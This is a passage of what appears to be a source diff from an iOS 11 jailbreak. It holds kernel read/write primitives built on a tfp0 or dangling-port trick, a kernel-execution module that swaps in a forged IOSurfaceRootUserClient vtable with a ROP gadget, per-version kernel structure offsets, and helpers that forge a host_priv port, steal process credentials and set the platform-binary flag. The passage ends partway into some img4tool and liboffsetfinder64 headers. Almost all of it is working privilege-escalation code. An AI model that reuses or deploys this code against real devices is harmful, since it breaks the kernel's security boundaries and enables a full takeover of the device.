while (proc) { //iterate over all processes till we find the one we're looking for
pd = KernelRead_32bits(proc + 0x10);
if (pd == pid) return proc;
proc = KernelRead_64bits(proc);
}
return 0;
}
uint64_t ZmFixAddr(uint64_t addr) {
static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
if (zm_hdr.start == 0) {
// xxx rk64(0) ?!
uint64_t zone_map = KernelRead_64bits(Find_zone_map_ref());
// hdr is at offset 0x10, mutexes at start
size_t r = KernelRead(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
//printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));
if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
printf("[-] KernelRead of zone_map failed!\n");
return 1;
}
if (zm_hdr.end - zm_hdr.start > 0x100000000) {
printf("[-] zone_map is too big, sorry.\n");
return 1;
}
}
uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
}
+132
View File
@@ -0,0 +1,132 @@
#import <pthread.h>
#import "kernel_utils.h"
#import "kexecute.h"
#import "patchfinder64.h"
#import "offsetof.h"
#import "find_port.h"
#import <IOKit/IOKitLib.h>
mach_port_t PrepareUserClient(void) {
kern_return_t err;
mach_port_t UserClient;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (service == IO_OBJECT_NULL){
printf(" [-] unable to find service\n");
exit(EXIT_FAILURE);
}
err = IOServiceOpen(service, mach_task_self(), 0, &UserClient);
if (err != KERN_SUCCESS){
printf(" [-] unable to get user client connection\n");
exit(EXIT_FAILURE);
}
//
printf("[+] kexecute: got user client: 0x%x\n", UserClient);
return UserClient;
}
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
pthread_mutex_t kexecuteLock;
static mach_port_t UserClient;
static uint64_t IOSurfaceRootUserClient_Port;
static uint64_t IOSurfaceRootUserClient_Addr;
static uint64_t FakeVtable;
static uint64_t FakeClient;
const int fake_Kernel_alloc_size = 0x1000;
void init_Kernel_Execute(void) {
UserClient = PrepareUserClient();
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_Port = find_port_via_kmem_read(UserClient); // UserClients are just mach_ports, so we find its address
//printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_Port);
IOSurfaceRootUserClient_Addr = KernelRead_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
//
//printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_Addr);
uint64_t IOSurfaceRootUserClient_vtab = KernelRead_64bits(IOSurfaceRootUserClient_Addr); // vtables in C++ are at *object
//
//printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
FakeVtable = Kernel_alloc(fake_Kernel_alloc_size);
//
//printf("Created FakeVtable at %016llx\n", FakeVtable);
for (int i = 0; i < 0x200; i++) {
KernelWrite_64bits(FakeVtable+i*8, KernelRead_64bits(IOSurfaceRootUserClient_vtab+i*8));
}
//
//printf("Copied some of the vtable over\n");
// Create the fake user client
FakeClient = Kernel_alloc(fake_Kernel_alloc_size);
//
//printf("Created FakeClient at %016llx\n", FakeClient);
for (int i = 0; i < 0x200; i++) {
KernelWrite_64bits(FakeClient+i*8, KernelRead_64bits(IOSurfaceRootUserClient_Addr+i*8));
}
//
//printf("Copied the user client over\n");
// Write our fake vtable into the fake user client
KernelWrite_64bits(FakeClient, FakeVtable);
// Replace the user client with ours
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, FakeClient);
// Now the userclient port we have will look into our fake user client rather than the old one
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
KernelWrite_64bits(FakeVtable+8*0xB7, Find_add_x0_x0_0x40_ret());
//
//printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
pthread_mutex_init(&kexecuteLock, NULL);
}
void term_Kernel_Execute(void) {
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, IOSurfaceRootUserClient_Addr);
Kernel_free(FakeVtable, fake_Kernel_alloc_size);
Kernel_free(FakeClient, fake_Kernel_alloc_size);
}
uint64_t Kernel_Execute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
pthread_mutex_lock(&kexecuteLock);
// When calling IOConnectTrapX, this makes a call to iokit_UserClient_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
// This jumps to our gadget, which returns +0x40 into our fake UserClient, which we can modify. The function is then called on the object. But how C++ actually works is that the
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
// through like normal.
// Because the gadget gets the trap at UserClient+0x40, we have to overwrite the contents of it
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
// (i'm not actually sure if the switch back is necessary but meh)
uint64_t offx20 = KernelRead_64bits(FakeClient+0x40);
uint64_t offx28 = KernelRead_64bits(FakeClient+0x48);
KernelWrite_64bits(FakeClient+0x40, x0);
KernelWrite_64bits(FakeClient+0x48, addr);
uint64_t returnval = IOConnectTrap6(UserClient, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
KernelWrite_64bits(FakeClient+0x40, offx20);
KernelWrite_64bits(FakeClient+0x48, offx28);
pthread_mutex_unlock(&kexecuteLock);
return returnval;
}
+6
View File
@@ -0,0 +1,6 @@
#import <mach/mach.h>
#import <inttypes.h>
uint64_t Kernel_Execute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
void init_Kernel_Execute(void);
void term_Kernel_Execute(void);
+309
View File
@@ -0,0 +1,309 @@
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "kmem.h"
#include "kutils.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
// the exploit bootstraps the full kernel memory read/write with a fake
// task which just allows reading via the bsd_info->pid trick
// this first port is kmem_read_port
mach_port_t kmem_read_port = MACH_PORT_NULL;
void prepare_rk_via_kmem_read_port(mach_port_t port)
{
kmem_read_port = port;
}
mach_port_t tfp0 = MACH_PORT_NULL;
void prepare_rwk_via_tfp0(mach_port_t port)
{
tfp0 = port;
}
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
{
tfp0 = fake_tfp0;
}
bool have_kmem_read()
{
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
}
bool have_kmem_write()
{
return (tfp0 != MACH_PORT_NULL);
}
size_t kread(uint64_t where, void* p, size_t size)
{
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfp0,
where + offset,
chunk,
(mach_vm_address_t)p + offset,
&sz);
if (rv || sz == 0) {
LOG("error reading kernel @%p", (void*)(offset + where));
break;
}
offset += sz;
}
return offset;
}
size_t kwrite(uint64_t where, const void* p, size_t size)
{
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfp0,
where + offset,
(mach_vm_offset_t)p + offset,
(mach_msg_type_number_t)chunk);
if (rv) {
LOG("error writing kernel @%p", (void*)(offset + where));
break;
}
offset += chunk;
}
return offset;
}
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return false;
}
return (kwrite(kaddr, buffer, length) == length);
}
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
return (kread(kaddr, buffer, length) == length);
}
void WriteKernel32(uint64_t kaddr, uint32_t val)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
void WriteKernel64(uint64_t kaddr, uint64_t val)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
{
kern_return_t err;
if (kmem_read_port == MACH_PORT_NULL) {
LOG("kmem_read_port not set, have you called prepare_rk?");
sleep(10);
exit(EXIT_FAILURE);
}
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
if (err != KERN_SUCCESS) {
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
// now do the read:
uint32_t val = 0;
err = pid_for_task(kmem_read_port, (int*)&val);
if (err != KERN_SUCCESS) {
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
return val;
}
uint32_t rk32_via_tfp0(uint64_t kaddr)
{
uint32_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
{
uint64_t lower = rk32_via_kmem_read_port(kaddr);
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
uint64_t full = ((higher << 32) | lower);
return full;
}
uint64_t rk64_via_tfp0(uint64_t kaddr)
{
uint64_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint32_t ReadKernel32(uint64_t kaddr)
{
if (tfp0 != MACH_PORT_NULL) {
return rk32_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk32_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
uint64_t ReadKernel64(uint64_t kaddr)
{
if (tfp0 != MACH_PORT_NULL) {
return rk64_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk64_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
const uint64_t kernel_addr_space_base = 0xffff000000000000;
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
{
if (dest >= kernel_addr_space_base) {
// copy to kernel:
wkbuffer(dest, (void*)src, length);
} else {
// copy from kernel
rkbuffer(src, (void*)dest, length);
}
}
uint64_t kmem_alloc(uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
uint64_t kmem_alloc_wired(uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
LOG("allocated address: %llx", addr);
addr += 0x3fff;
addr &= ~0x3fffull;
LOG("address to wire: %llx", addr);
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
if (err != KERN_SUCCESS) {
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
void kmem_free(uint64_t kaddr, uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
kern_return_t err;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_deallocate(tfp0, kaddr, ksize);
if (err != KERN_SUCCESS) {
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return;
}
}
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
kern_return_t err;
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
if (err != KERN_SUCCESS) {
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return;
}
}
+80
View File
@@ -0,0 +1,80 @@
#ifndef KernelMemory_h
#define KernelMemory_h
#include <mach/mach.h>
#include <stdbool.h>
/***** mach_vm.h *****/
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t* data,
mach_msg_type_number_t* dataCnt);
kern_return_t mach_vm_write(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_read_overwrite(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t* outsize);
kern_return_t mach_vm_allocate(
vm_map_t target,
mach_vm_address_t* address,
mach_vm_size_t size,
int flags);
kern_return_t mach_vm_deallocate(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
kern_return_t mach_vm_protect(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection);
extern mach_port_t tfp0;
size_t kread(uint64_t where, void* p, size_t size);
size_t kwrite(uint64_t where, const void* p, size_t size);
#define rk32(kaddr) ReadKernel32(kaddr)
#define rk64(kaddr) ReadKernel64(kaddr)
uint32_t ReadKernel32(uint64_t kaddr);
uint64_t ReadKernel64(uint64_t kaddr);
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
void WriteKernel32(uint64_t kaddr, uint32_t val);
void WriteKernel64(uint64_t kaddr, uint64_t val);
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
uint64_t kmem_alloc(uint64_t size);
uint64_t kmem_alloc_wired(uint64_t size);
void kmem_free(uint64_t kaddr, uint64_t size);
void prepare_rk_via_kmem_read_port(mach_port_t port);
void prepare_rwk_via_tfp0(mach_port_t port);
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
// query whether kmem read or write is present
bool have_kmem_read(void);
bool have_kmem_write(void);
#endif
+75
View File
@@ -0,0 +1,75 @@
#ifndef koffsets_h
#define koffsets_h
enum kstruct_offset {
/* struct task */
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
KSTRUCT_OFFSET_TASK_REF_COUNT,
KSTRUCT_OFFSET_TASK_ACTIVE,
KSTRUCT_OFFSET_TASK_VM_MAP,
KSTRUCT_OFFSET_TASK_NEXT,
KSTRUCT_OFFSET_TASK_PREV,
KSTRUCT_OFFSET_TASK_ITK_SPACE,
KSTRUCT_OFFSET_TASK_BSD_INFO,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
KSTRUCT_OFFSET_TASK_TFLAGS,
/* struct ipc_port */
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
/* struct proc */
KSTRUCT_OFFSET_PROC_PID,
KSTRUCT_OFFSET_PROC_P_FD,
KSTRUCT_OFFSET_PROC_TASK,
KSTRUCT_OFFSET_PROC_UCRED,
KSTRUCT_OFFSET_PROC_P_LIST,
/* struct filedesc */
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
/* struct fileproc */
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
/* struct fileglob */
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
/* struct socket */
KSTRUCT_OFFSET_SOCKET_SO_PCB,
/* struct pipe */
KSTRUCT_OFFSET_PIPE_BUFFER,
/* struct ipc_space */
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
/* struct vnode */
KSTRUCT_OFFSET_VNODE_V_MOUNT,
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
KSTRUCT_OFFSET_VNODE_V_LOCK,
/* struct specinfo */
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
/* struct mount */
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
/* struct host */
KSTRUCT_OFFSET_HOST_SPECIAL,
KFREE_ADDR_OFFSET,
};
int koffset(enum kstruct_offset offset);
void offsets_init(void);
#endif
+147
View File
@@ -0,0 +1,147 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "koffsets.h"
#include "common.h"
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
int* offsets = NULL;
int kstruct_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x6c, // KFREE_ADDR_OFFSET
};
int kstruct_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x7c, // KFREE_ADDR_OFFSET
};
int koffset(enum kstruct_offset offset)
{
if (offsets == NULL) {
LOG("need to call offsets_init() prior to querying offsets");
return 0;
}
return offsets[offset];
}
void offsets_init()
{
if (kCFCoreFoundationVersionNumber >= 1452.23) {
LOG("offsets selected for iOS 11.3 or above");
offsets = kstruct_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
LOG("offsets selected for iOS 11.0 to 11.2.6");
offsets = kstruct_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required");
exit(EXIT_FAILURE);
}
}
+123
View File
@@ -0,0 +1,123 @@
#include <CoreFoundation/CoreFoundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
/*#include <common.h>*/
/*#include <iokit.h>*/
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
uint64_t the_realhost;
uint64_t cached_task_self_addr = 0;
uint64_t task_self_addr()
{
if (cached_task_self_addr == 0) {
cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
LOG("task self: 0x%llx", cached_task_self_addr);
}
return cached_task_self_addr;
}
uint64_t ipc_space_kernel()
{
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
}
uint64_t current_thread()
{
uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
}
uint64_t find_kernel_base()
{
uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
the_realhost = realhost;
uint64_t base = realhost & ~0xfffULL;
// walk down to find the magic:
for (int i = 0; i < 0x10000; i++) {
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
return base;
}
base -= 0x1000;
}
return 0;
}
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
// build a fake host priv port
mach_port_t fake_host_priv()
{
if (fake_host_priv_port != MACH_PORT_NULL) {
return fake_host_priv_port;
}
// get the address of realhost:
uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
// allocate a port
mach_port_t port = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
return MACH_PORT_NULL;
}
// get a send right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
// locate the port
uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
// change the type of the port
#define IKOT_HOST_PRIV 4
#define IO_ACTIVE 0x80000000
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
// change the space of the port
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
// set the kobject
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
fake_host_priv_port = port;
return port;
}
int message_size_for_kalloc_size(int kalloc_size)
{
return ((3 * kalloc_size) / 4) - 0x74;
}
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
{
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
return orig_creds;
}
void set_platform_binary(uint64_t proc)
{
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
task_t_flags |= TF_PLATFORM;
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
}
+23
View File
@@ -0,0 +1,23 @@
#ifndef kutils_h
#define kutils_h
#include "common.h"
#include <mach/mach.h>
uint64_t task_self_addr(void);
uint64_t ipc_space_kernel(void);
uint64_t find_kernel_base(void);
uint64_t current_thread(void);
mach_port_t fake_host_priv(void);
int message_size_for_kalloc_size(int kalloc_size);
uint64_t get_proc_struct_for_pid(pid_t pid);
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
uint64_t get_kernel_cred_addr(void);
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
void set_platform_binary(uint64_t proc);
#endif /* kutils_h */
@@ -0,0 +1,25 @@
//
// all.h
// img4tool
//
// Created by tihmstar on 15.06.16.
// Copyright © 2016 tihmstar. All rights reserved.
//
#ifndef all_h
#define all_h
#define error(a ...) printf("[Error] %s: ",__func__),printf(a)
#define warning(a ...) printf("[Warning] %s: ",__func__),printf(a)
#ifdef DEBUG //this is for developing with Xcode
#define IMG4TOOL_VERSION_COMMIT_COUNT "Debug"
#define IMG4TOOL_VERSION_COMMIT_SHA "Build: " __DATE__ " " __TIME__
#define HAVE_LIBCOMPRESSION
#else
//#include <config.h>
#define IMG4TOOL_NOLZFSE
#define IMG4TOOL_NOOPENSSL
#endif
#endif /* all_h */
@@ -0,0 +1,40 @@
//
// all_liboffsetfinder.hpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
